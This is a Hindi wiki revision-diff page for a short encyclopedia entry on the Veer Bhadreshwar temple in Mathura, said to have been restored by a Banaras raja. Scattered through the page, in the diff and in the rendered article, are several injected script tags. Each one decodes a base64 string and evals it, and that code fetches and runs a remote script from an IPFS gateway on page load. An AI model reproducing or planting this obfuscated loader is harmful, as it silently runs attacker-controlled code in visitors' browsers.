"वीर भद्रेश्वर मन्दिर" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - " ।" to "।")
 
(५ सदस्यों द्वारा किये गये बीच के ७ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}
 
{{Incomplete}}
 
{{Incomplete}}
  
 
==श्री वीर भद्रेश्वर मन्दिर / Veer Bhadreshwar Temple==
 
==श्री वीर भद्रेश्वर मन्दिर / Veer Bhadreshwar Temple==
[[मथुरा]] के चौबच्चा पाड़ा में स्थित शैव देवालय जो [[औरंगजेब]] के काल में ध्वस्त हो गया उसे बनारस के राजा पटनीमल्ल ने नवीन रूप प्रदान कर संवत 1965 की वैशाख शुक्ल 13 को श्रृद्धालुओं के लिए समर्पित किया । मन्दिर के ऊपर इसका शिलालेख भी लगा है ।
+
[[मथुरा]] के चौबच्चा पाड़ा में स्थित शैव देवालय जो [[औरंगजेब]] के काल में ध्वस्त हो गया उसे बनारस के राजा पटनीमल्ल ने नवीन रूप प्रदान कर संवत 1965 की वैशाख शुक्ल 13 को श्रृद्धालुओं के लिए समर्पित किया। मन्दिर के ऊपर इसका शिलालेख भी लगा है।
 
<br />
 
<br />
{{Mathura temple}}
+
==सम्बंधित लिंक==
 +
{{ब्रज के दर्शनीय स्थल}}
  
[[category:कोश]]
+
[[Category:कोश]]
[[category:मन्दिर]]<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
+
[[Category:मन्दिर]]
 +
[[Category:दर्शनीय-स्थल कोश]]
 +
__INDEX__

१३:०४, २ नवम्बर २०१३ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

श्री वीर भद्रेश्वर मन्दिर / Veer Bhadreshwar Temple

मथुरा के चौबच्चा पाड़ा में स्थित शैव देवालय जो औरंगजेब के काल में ध्वस्त हो गया उसे बनारस के राजा पटनीमल्ल ने नवीन रूप प्रदान कर संवत 1965 की वैशाख शुक्ल 13 को श्रृद्धालुओं के लिए समर्पित किया। मन्दिर के ऊपर इसका शिलालेख भी लगा है।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>